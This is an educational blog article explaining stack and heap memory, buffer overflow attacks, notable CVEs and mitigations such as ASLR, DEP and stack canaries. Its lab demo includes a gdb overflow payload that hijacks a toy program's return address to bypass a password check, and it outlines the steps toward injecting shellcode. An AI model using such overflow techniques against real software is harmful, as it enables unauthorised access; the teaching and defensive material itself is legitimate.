Buffer Overflow 101: Exploring Exploits and Protection
image credit: invicti

Buffer Overflow 101: Exploring Exploits and Protection

One of the most crucial vulnerabilities that has been exploited is the buffer overflow when it comes to cybersecurity. Buffer overflow can be defined as a condition created in programming when a running program attempts to write more data on a memory block, or buffer, than it actually is allocated to hold, therefore having the overflow written over the succeeding memory. This can result in erratic behavior, crashes, or even the execution of malicious code. Understanding buffer overflow is important for anybody working in software development or cybersecurity, as it still stands today as a very good potent weapon for attacks. This article exposes all there is about buffer overflow and the basic mechanism behind it and the risks it brings to light.

1. Understanding the Stack and Heap

1.1 The Stack

The stack is a primary part of computer system memory management that facilitates the execution of programs. It is simply a linear storage space to store data and recover it in a way called Last In, First Out (LIFO), that the very last data inserted is the first one extracted. It makes a very good structure to handle the function calls, local variables, and control flow. The return address is pushed onto the stack together with the parameters and local variables, for more difficult calls. Then, after return from the function, this data is popped off the stack, hence returning cleanly and efficiently back to the calling function.

The stack has several important characteristics that set it apart from other memory structures:

  • LIFO Order - The stack operates on the LIFO principle, which leads to easier management of nested function calls and ensures that the state of every function in each level remains intact until it returns.
  • Fixed Size - In general, the size of the stack is determined from the program's start, and it never changes. This fixed size can prove to be a limitation, as it will lead to stack overflow if too much data is pushed onto the stack.
  • Automatic Memory Management - The stack will automatically manage memory allocation and deallocation each time functions are called and return. It makes memory management less complex for developers.
  • High Speed - The fact that the stack has its memory locations in a contiguous way and its operations are carried out in simple LIFO form avails it with fast access and efficient memory usage.

Stack grows in LIFO method (Last In, First Out)

The stack grows and shrinks as functions are called and return. When a function is invoked a stack frame is created and pushed on to the stack. Within this stack frame is the function's return address, its parameters, and its local variables. As more functions are called new stack frames are pushed on to the stack. When a function is done executing, its stack frame is popped off, returning the state of the calling function. This LIFO nature preserves the execution context of each function until it is complete, which makes nested and recursive function calls possible.

Example of Stack Operations of Various Operating Systems

Although the operations by different operating systems on a stack may be different, in principle, it remains constant.

The stack in Windows is managed by the operating system and is part of the context of each thread. Stack size can be specified at creation time of a thread and can be modified by either compiler directives or runtime settings. Guard pages are reserved by Windows to detect stack overflow; when the space used by a stack exceeds that which is allocated, Windows will throw an exception.

Linux also takes care of the stack at the kernel level. Each process and thread has its own stack. The default stack size may be made at system settings or even at run time it is changeable. A guard page similar to Windows is provided to avoid overflowing of the stack and when the stack crosses the limit, it will cause a segmentation fault.

In macOS, stacks are handled similarly to Linux. Each thread is given its stack by the kernel. The size of memory reserved for each thread's stack can be either manually specified by using system settings or programmatically set up using application level code. Guard pages are used in macOS so as to trap and treat appropriately stack overflow conditions.

1.2 The Heap

The heap is a core part of a computer's memory management system, targeted for dynamic memory allocation. While the stack automatically allocates and deallocates memory as functions are called and return, explicitly requesting and releasing memory at runtime can be done using the heap. This flexibility is key to supporting applications that have to deal with different amounts of data that are not predetermined until the time of execution. Data structures like linked lists, trees, or complex objects are usually dynamically allocated, for which heap support is efficient.

The main features of the heap are:

  • Memory can be allocated and freed at any time during program execution. This allows for flexible memory management according to the requirements of the program.
  • Generally, the heap has more memory space than the stack; therefore, it is suitable for large data structures.
  • Over time, free memory used in a heap can become scattered over non-contiguous memory blocks. This condition can cause inefficient use of memory and slow down allocations.
  • The stack is taken care of automatically with respect to memory management, but in heap memory, the user has to allocate and deallocate explicitly using functions like malloc, calloc, realloc, and free in C/C++.
  • Generally, accessing heap memory is slower as compared to accessing memory on the stack because heap memory is non-contiguous and is always more costly due to the overhead of dynamic allocation.

How the Heap Grows

When a program requests memory, the heap manager searches for a block of sufficient size from the pool of available memory. As memory gets allocated from the free memory pool, the heap would keep on growing. If a suitable block is found, it is allocated to the program. Otherwise, the heap manager has to increase the size of the heap by requesting more memory from the operating system. As soon as memory is de-allocated, it goes back into the pool, enabling it for reuse in future allocations. In this way, the heap grows and contracts dynamically to match the needs of the program.

There are many operating systems with different ways of handling the heap, each having its memory allocation mechanisms and strategies.

  • The heap in Windows is maintained by the Windows Heap Manager which provides the functions like HeapAlloc, HeapReAlloc, and HeapFree for doing dynamic memory operations. There exist various heaps which can be created in each and every process, with which allows the processor allocates memory. The system heap is created at process startup and will be used by most dynamic memory operations unless the program explicitly creates additional heaps.
  • In Linux, the heap is managed by malloc library. It includes following functions: malloc, calloc, realloc, and free. The address where the heap begins and the subsequent addresses grow upwards each time a new allocation is to be made. For extending the heap, Linux uses a combination of brk/sbrk system calls, whereas for larger allocations, it uses mmap. There are several algorithms that the malloc implementation uses to prevent high levels of fragmentation and increase the efficiency in the use of memory.
  • Heap management in macOS works exactly the same as in Linux. Dynamically allocated memory is managed through the library functions such as malloc, calloc, realloc, and free. macOS also uses the technique of a mixture of sbrk and mmap to grow the heap. Besides this, macOS also has an edge when it comes to security; it provides additional features like heap canaries and automatic deallocation checks to eliminate common heap-based vulnerabilities.

What is a Buffer Overflow?

Buffer overflow is one of the most prevalent and critical security vulnerabilities occurring in computer systems, characterized by a situation in which a program writes more data to a buffer than the buffer is allocated to hold. Buffers are basically continuous blocks of memory reserved for holding data; an example includes arrays or strings. If the data's volume is greater than the capacity of the buffer, it can lead to overwriting adjacent memory, risking unpredictable behavior, crashes, or security breaches. Because the concept is simple and the potential consequences are quite severe, buffer overflow vulnerabilities are a central topic in software development and cybersecurity.

What is a Buffer Overflow Attack?

The product of this flaw is a buffer overflow attack, allowing the program's execution to be exploited and unapproved code to be possibly run. This is how it often happens:

  • The attacker sends larger-than-reserved-size data in the buffer, with the result that excess spills over into adjacent memory. It could be either data containing payloads such as shellcode, or addresses of malicious code.

  • The careful crafting of the overflowing data allows the attacker to overwrite such crucial control data as return addresses or function pointers, which dictate the flow of program execution.
  • When some part of the control data section is overwritten, the execution flow of a program is hijacked to the attacker's code. This results in the execution of arbitrary commands, which might include gaining control over the whole system.

Buffer overflow attacks apply to both stacks and heaps. On a stack, attackers typically overwrite return addresses to hijack function calls. On the heap, they might corrupt memory management data to have it execute arbitrary code. With the number of results that a successful buffer overflow can give — from data corruption and application crashes to full system compromise and unauthorised access — the adversary is always looking for ways.

Example of a Buffer Overflow attack (Simulation only; no RCE will be triggered)

Vulnerable code

Once we compile and execute the application, we can use GDB (what I like to use) or any other disassembly tool to disassemble the machine code, identify the memory addresses, and then further initiate the exploitation of the vulnerability.

Now what we need to do is run our application using GDB to reverse engineer the machine code to find where the main function and checkpw function are stored in memory.

main function

Now let's disassemble the checkpw function

Now we can see the granted function, and understand how we can manipulate the program to call it. By exploiting the buffer overflow vulnerability, we can overwrite the return address on the stack with the address of the granted function. This means we can successfully bypass the in-app authentication and invoke the granted function without entering the correct password.

Let's execute below command

gdb: run < <(python3 -c 'print("A" * 100 + "BBBB" + "CCCC" + "DDDD" + "EEEE")')        

As you can see, the memory has been corrupted and our payload has been written to the return address, and because of that, the application crashed.

Now we will replace our code with the memory address of the granted function to see whether we can call it.

As you can see in the above example, despite the application crashing with a segmentation fault, the "Access granted.." message was displayed. This confirms that we have successfully redirected the program's execution flow to the granted function, bypassing the password check.

The crash occurred after the granted function was executed, likely because the stack's return address was overwritten with an invalid value that caused the segmentation fault when the function tried to return.

While this demonstration shows the potential of a buffer overflow attack to bypass authentication, further manipulation could allow an attacker to gain a shell. To achieve this, you would need to:

  1. Find the Correct Shellcode Address: Inject shellcode into the buffer and determine its address.
  2. Overwrite the Return Address with Shellcode Address: Overwrite the stack's return address with the address of the injected shellcode instead of the granted function.

This process involves finding the appropriate memory addresses for the shellcode and the system function, which is beyond this basic demonstration but entirely feasible with further exploration and exploitation.

Feel free to experiment with these concepts and push the boundaries of this example to achieve a complete exploit. Happy hacking!

What are the known attacks caused by buffer overflows?

Buffer overflow vulnerabilities have been the root cause of many significant cybersecurity incidents over the years. These attacks exploit weaknesses in software where more data is written to a buffer than it can handle, leading to memory corruption. Here, we will discuss some of the most notorious attacks caused by buffer overflows, including their associated CVE (Common Vulnerabilities and Exposures) numbers.

1. The Morris Worm (1988) - No CVE

One of the earliest and most famous buffer overflow attacks was the Morris Worm. Released in 1988, it exploited a buffer overflow in the finger daemon (a network protocol for user information) on UNIX systems. This worm caused significant disruption across the early internet by propagating rapidly between vulnerable machines.

2. Code Red Worm (2001) - CVE-2001-0500

The Code Red worm targeted a buffer overflow vulnerability in the Microsoft IIS (Internet Information Services) web server. Specifically, it exploited a flaw in the indexing service (IDQ.dll). Once infected, the worm defaced websites and launched denial-of-service (DoS) attacks against various targets, including the White House.

3. SQL Slammer Worm (2003) - CVE-2002-0649

The SQL Slammer worm exploited a buffer overflow in Microsoft SQL Server's resolution service (ssnetlib.dll). This attack caused a rapid spread of the worm across the internet, leading to widespread network congestion and denial-of-service conditions.

4. Heartbleed (2014) - CVE-2014-0160

Although Heartbleed is technically a buffer over-read rather than a buffer overflow, it is worth mentioning due to its impact. Heartbleed exploited a vulnerability in the OpenSSL library, allowing attackers to read sensitive data from the memory of affected servers, including private keys and user credentials.

5. Ghost (2015) - CVE-2015-0235

The Ghost vulnerability affected the GNU C Library (glibc), specifically the gethostbyname functions. This buffer overflow could be exploited by attackers to execute arbitrary code on vulnerable systems, posing a significant risk to Linux-based servers and devices.

6. SigRed (2020) - CVE-2020-1350

SigRed is a critical buffer overflow vulnerability in the Windows DNS Server, discovered in 2020. This flaw, present for 17 years, allowed remote code execution (RCE) by sending malicious DNS queries to the server. Given the widespread use of Windows DNS Servers in enterprise environments, this vulnerability posed a severe risk of widespread exploitation.

7. EternalBlue (2017) - CVE-2017-0144

EternalBlue, a buffer overflow vulnerability in the SMBv1 protocol of Windows operating systems, was famously exploited by the WannaCry ransomware attack. This attack caused massive disruptions worldwide by encrypting user data and demanding ransom payments in Bitcoin.

Any mitigations against these types of attacks?

Buffer overflow attacks have been a persistent threat in the field of cybersecurity. To combat these vulnerabilities, various mitigation techniques have been developed and implemented in modern operating systems and compilers. Here are some of the most effective mitigation strategies:

1. Address Space Layout Randomization (ASLR)

ASLR is a memory protection technique that randomises the memory addresses used by system and application processes. By randomising the locations of stack, heaps, libraries, and other memory regions, ASLR makes it significantly harder for an attacker to predict the addresses required for successful exploitation. If an attacker does not know the exact location of the target code or data, their chances of successfully executing a buffer overflow attack are greatly reduced.

Implementation in Operating Systems:

  • Windows: ASLR is implemented in Windows Vista and later versions.
  • Linux: ASLR is available in the Linux kernel and can be enabled through kernel parameters.
  • macOS: ASLR is implemented in macOS starting from Mac OS X 10.5 (Leopard).

2. Data Execution Prevention (DEP)

DEP is a security feature that marks certain areas of memory as non-executable. This prevents code from being executed in these regions, such as the stack and heap, which are typically used for storing data. By doing so, DEP mitigates the risk of executing malicious code injected through buffer overflows.

Implementation in Operating Systems:

  • Windows: DEP is available in Windows XP SP2 and later versions.
  • Linux: DEP is implemented using the NX (No-eXecute) bit in the CPU, which can be controlled through the mprotect system call.
  • macOS: DEP is implemented in macOS starting from Mac OS X 10.5 (Leopard).

3. Stack Canaries

Stack canaries are special values placed between the buffer and control data on the stack, such as return addresses and frame pointers. Before a function returns, the integrity of the stack canary is checked. If the canary value has been altered, it indicates a buffer overflow, and the programme can be terminated to prevent exploitation.

Implementation in Compilers:

  • GCC: Stack canaries can be enabled using the -fstack-protector flag.
  • Clang: Stack canaries can be enabled using the -fstack-protector flag.
  • Visual Studio: Stack canaries can be enabled using the /GS flag.


Since this is more focused on offsec techniques, I will not talk about dev best practices (I am not a dev anyway :D)

Notes:

  • The article is entirely based on my learnings, and if I made any mistake within the article, you may please point that out so I can correct it.
  • I will not publish any payloads or anything to get a RCE or get a shell in any way, so don't ask.


Let's discuss the below attack techniques in a new article later. see ya!

  • Stack corruption?
  • Heap corruption?
  • Use after free
  • Type confusion?
  • Uni-initialised use
  • Heap OOB read
  • ASLR bypass
  • Heap grooming

That's some serious knowledge drop on buffer overflows and mitigations. Impressive stuff, mate.

要查看或添加评论,请登录

Danushka Stanley的更多文章

社区洞察

其他会员也浏览了